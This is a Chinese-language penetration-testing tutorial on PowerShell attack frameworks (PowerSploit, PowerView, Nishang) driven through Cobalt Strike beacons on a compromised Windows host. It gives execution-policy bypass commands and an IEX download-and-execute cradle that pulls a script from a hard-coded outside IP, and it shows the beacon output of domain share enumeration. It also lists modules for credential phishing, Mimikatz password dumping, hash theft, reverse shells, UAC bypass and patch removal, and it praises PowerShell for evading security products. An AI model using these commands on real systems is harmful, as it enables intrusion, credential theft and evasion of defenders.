内网渗透PowerShell脚本

PowerSploit

PowerSploit是GitHub上面的一个安全项目，上面有很多powershell攻击脚本，它们主要被用来渗透中的信息侦察、权限提升、权限维持。

Powershell的优点:

1.代码运行在内存中可以不去接触磁盘

2.从另一个系统中下载代码并执行

3.很多安全产品并不能监测到powershell的活动

4.cmd.exe通常被阻止运行，但是powershell不会

```
AntivirusBypass：发现杀毒软件的查杀特征。
CodeExecution：在目标主机上执行代码。
Exfiltration：目标主机上的信息搜集工具。
Mayhem：蓝屏等破坏性脚本。
Persistence：后面脚本(持久性控制)。
Recon：以目标主机为跳板进行内网信息侦察。
ScriptModification：在目标主机上创建或修改脚本。
```

powerview也是一款非常的powershell脚本工具，用于域内信息的收集。他集成在在 PowerSploit-master\Recon目录下。

使用方式三种方式：

本地执行：

```
shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerVie
```

```
beacon> shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1;Get-NetShare}"
[*] Tasked beacon to run: powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1;Get-NetShare}"
[+] host called home, sent: 146 bytes
[+] received output:

Name                           Type Remark          ComputerName
----                           ---- ------          ------------
ADMIN$                   2147483648 远程管理        localhost
C$                       2147483648 默认共享        localhost
IPC$                     2147483651 远程 IPC        localhost
```

远程执行：

python 开启http 服务 python -m http.server 8080

```
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://118.178.134
```

```
[*] Tasked beacon to run: powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/PowerView.ps1');import-module .\PowerView.ps1;Get-NetShare
[+] host called home, sent: 198 bytes
[+] received output:

Name                           Type Remark          ComputerName
----                           ---- ------          ------------
ADMIN$                   2147483648 远程管理        localhost
C$                       2147483648 默认共享        localhost
IPC$                     2147483651 远程 IPC        localhost
```

CS自带命令

```
beacon> powershell-import  //导入各种powershell脚本
beacon>powershell  posershell脚本名 //执行脚本
beacon> powershell Check-VM //执行命令
```

```
beacon> powershell-import powershell/PowerView.ps1
[*] Tasked beacon to import: D:\software\cobaltstrike4.0\powershell\PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> powershell Get-NetShare
[*] Tasked beacon to run: Get-NetShare
[+] host called home, sent: 301 bytes
[+] received output:

Name                           Type Remark          ComputerName
----                           ---- ------          ------------
ADMIN$                   2147483648 远程管理        localhost
C$                       2147483648 默认共享        localhost
IPC$                     2147483651 远程 IPC        localhost
```

Get-NetDomain	获取当前用户所在的域名称

Get-NetUser	返回所有用户详细信息
Get-NetDomainController	获取所有域控制器
Get-NetComputer	获取所有域内机器详细信息
Get-NetOU	获取域中OU信息
Get-NetGroup	获取所有域内组和组成员信息
Get-NetFileServer	根据SPN获取当前域使用的文件服务器
Get-NetShare	获取当前域内所有网络共享
Get-NetSession	获取在指定服务器存在的Session信息
Get-NetRDPSession	获取在指定服务器存在的远程连接信息
Get-NetProcess	获取远程主机的进程信息
Get-UserEvent	获取指定用户日志信息
Get-ADObject	获取活动目录的对象信息
Get-NetGPO	获取域所有组策略对象
Get-DomainPolicy	获取域默认或域控制器策略
Invoke-UserHunter	搜索网络中域管理员正在使用的主机
Invoke-ProcessHunter	查找域内所有机器进程用于找到某特定用户
Invoke-UserEventHunter	根据用户日志获取某域用户登陆过哪些域机器

Nishang

Nishang是一款针对PowerShell的渗透工具。说到渗透工具，那自然便是老外开发的东西。国人开发的东西，也不是不行，只不过不被认可罢了。不管是谁开发的，既然跟渗透有关系，那自然是对我们有帮助的，学习就好。来源什么的都不重要。总之，nishang也是一款不可多得的好工具。非常的好用

Antak-WebShell	webshell
Backdoors	后门
Client	客户端
Escalation	提权
Execution	RCE
Gather	信息收集
Misc	里面唯一的脚本会说话
Pivot	跳板/远程执行EXE
Scan	扫描
powerpreter	meterpreter会话

本地执行

查看可用的模块

```
shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang
```

Check-VM 检测该主机是不是虚拟机
Invoke-CredentialsPhish 欺骗用户，让用户输入密码
Get-WLAN-Keys wifi 信息
Invoke-Mimikatz 抓密码

```
Get-PassHashes   获取hash
Get-PassHints 获取用户的密码提示信息
Invoke-PowerShellTcp 反弹shell
Invoke-PsUACme 绕过UAC
Remove-Update  删除补丁
Get-Information 本机信息
```

远程执行

```
powershell-import nishang\nishang.psm1
powershell 命令
```